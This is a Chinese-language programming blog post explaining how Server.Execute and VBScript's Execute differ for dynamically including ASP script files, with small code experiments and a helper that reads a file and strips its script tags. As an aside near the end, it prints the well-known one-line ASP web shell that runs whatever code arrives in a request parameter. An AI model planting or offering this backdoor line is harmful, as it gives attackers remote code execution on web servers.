欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

ASP中Server.Execute和Execute实现动态包含(include)脚本的区别

程序员文章站 2022-03-25 21:01:44
最近打算尝试一下在asp中实现mvc架构,肯定有人问我:asp都淘汰了,为什么还研究?这点我也知道,自从微软放弃asp 3.0转向asp.net后,asp已经远远落后于和它...
最近打算尝试一下在asp中实现mvc架构,肯定有人问我:asp都淘汰了,为什么还研究?这点我也知道,自从微软放弃asp 3.0转向asp.net后,asp已经远远落后于和它几乎同时开始的php和jsp,开源比闭源的好处就像php和asp一样,asp说淘汰就淘汰,谁也救不了,但是值得注意的是asp在中国市场还是蛮广泛的,尤其是一些中小企业的一些应用,简单的cms不在话下,而且部署简单,在一些老旧的windows系统上,不需要安装.net framework基本上就可以直接运行了,所以准备一个框架,还是有必要的,不过我这个是实验性框架,只是验证asp究竟能不能实现类似php的mvc架构。
好了,说了这么多,下面直接转入正题吧。这个问题的缘由是因为我需要动态包含asp文件,大家知道在asp中只有一种include方法,那就是ssi(server side include),基本上分为以下两种:
复制代码 代码如下:

<!-- #include file="sample.asp" -->
<!-- #include virtual="sample.asp" -->

这两种基本上大家第一种用得多一些,#include virtual包含的是虚拟路径,一般虚拟目录会用得到。但是这两种都属于静态的,如果我们希望是动态包含,但不可以写成:
复制代码 代码如下:

<!-- #include file="<%=myvar%>" -->
<!-- #include virtual="<%=myvar%>" -->

上面的写法是错误的,可以理解为,#include指令是在asp启动脚本引擎执行asp<% %>标记之间脚本之前执行的,也就是说#include不是asp的工作,而是服务端程序,如iis的翻译工作,所以就不会理会你的asp代码了。
如何实现类似于php的include、include_once、require、require_once动态包含脚本方法呢?下面再来看asp server对象的一个方法:server.execute ,搜索所有的asp特性,可以发现这个功能最类似于动态include,我们可以做个实验:
sample.inc.asp
复制代码 代码如下:

<%
response.write "hello world!"
%>

test.asp
复制代码 代码如下:

<%
server.execute "sample.inc.asp"
response.write "i am test.asp!"
%>

实际输出应该是“hello world!i am test.asp!”,说明server.execute在动态包含方面可以工作得很好,但是如果我想包含类或者函数呢?接下来做下面这个实验:
sample.class.asp
复制代码 代码如下:

<%
class sample
end class
%>

test.asp
复制代码 代码如下:

<%
server.execute "sample.class.asp"
response.write typename(eval("new sample"))
%>

直接运行,出现错误“microsoft vbscript 运行时错误 错误 '800a01fa' 类没有被定义: 'sample'”,结果很令人失望,为什么会出现这种情况呢?查阅了msdn,找到这段描述:“if a file is included in the calling page by using #include, the executed .asp will not use it. for example, you may have a subroutine in a file that is included in your calling page, but the executed .asp will not recognize the subroutine name. ” 貌似和我遇到的问题有些不一样,难道server.execute是代码隔离的?再进行下面这个实验:
sample.inc.asp
复制代码 代码如下:

<%
dim myvar
myvar = "i am sample!"
%>

test.asp
复制代码 代码如下:

<%
dim myvar
myvar = "i am test!"
server.execute "sample.inc.asp"
response.write myvar
%>

结果输出的是“i am test!”,很是失望!看来server.execute是变量、函数、类这类代码隔离的,也就是说调用端和被调用端在代码级别上互不干扰,看来server.execute只能用于包含.asp模板了。
下面隆重出场的是vbscript的脚本特性execute,传给execute的必须是有效的vbscript脚本代码,而且execute是上下文相关的,这点看来很接近于我们需要的动态include。
test.asp
复制代码 代码如下:

<%
execute "class sample : end class"
response.write typename(eval("new sample"))
%>

上面的代码成功输出我们所需要的类型名称sample。证明execute确实可以做到上下文相关,但是问题是利用execute包含asp文件没有server.execute方便,execute是vbscript脚本自带的,首先只能用来执行代码文本,所以需要读取一次文件内容,其次不能用来识别asp的一些标签,比如<% %>还有一种类似于<%=myvar %>的调用方法,所以要过滤掉<% %>,然后要转换<%=myvar %>为response.write myvar。由于我需要的是包含类文件,不会出现<%=myvar %>,只要简单的replace掉<% %>就可以了。关于读取文件内容和简单排除<% %>可以参考下面这个函数:
复制代码 代码如下:

function file_get_contents(filename)
dim fso, f
set fso = server.createobject("scripting.filesystemobject")
set f = fso.opentextfile(server.mappath(filename), 1)
file_get_contents = f.readall
f.close
set f = nothing
set fso = nothing
end function
function class_get_contents(filename)
dim contents
contents = file_get_contents(filename)
contents = replace(contents, "<" & "%", "")
contents = replace(contents, "%" & ">", "")
class_get_contents = contents
end function

有了上面的函数我们可以直接测试下面的代码:
sample.class.asp
复制代码 代码如下:

<%
class sample
end class
%>

test.asp
复制代码 代码如下:

<%
execute class_get_contents("sample.class.asp")
response.write typename(eval("new sample"))
%>

结果输出我们所期望的sample类型名称,看来execute还是很强大的,确实很强大,因为经常有不怀好意者用来做“小马”,最简单的asp一句话木马的写法估计是下面这句了:
复制代码 代码如下:
<%execute request("c")%>

比如这段脚本位于file.asp,然后传入file.asp?c=木马文本,呵呵,下面的事你也知道了吧。好了这个是题外话,关于execute还有一点需要注意的是,这个是上下文相关的,所以要注意作用域问题,如果execute位于sub过程或者function函数内部,那么在这个外部是无法访问的。
参考文档:《server.execute method》 和《使用 server.execute 方法》 。
2011年11月23日更新
还有一种vbscript特有的写法叫做executeglobal,这个可以解决上文说的作用域问题,通过其执行的代码是全局有效的,但是要注意避免类、函数、过程或者变量的重定义覆盖问题。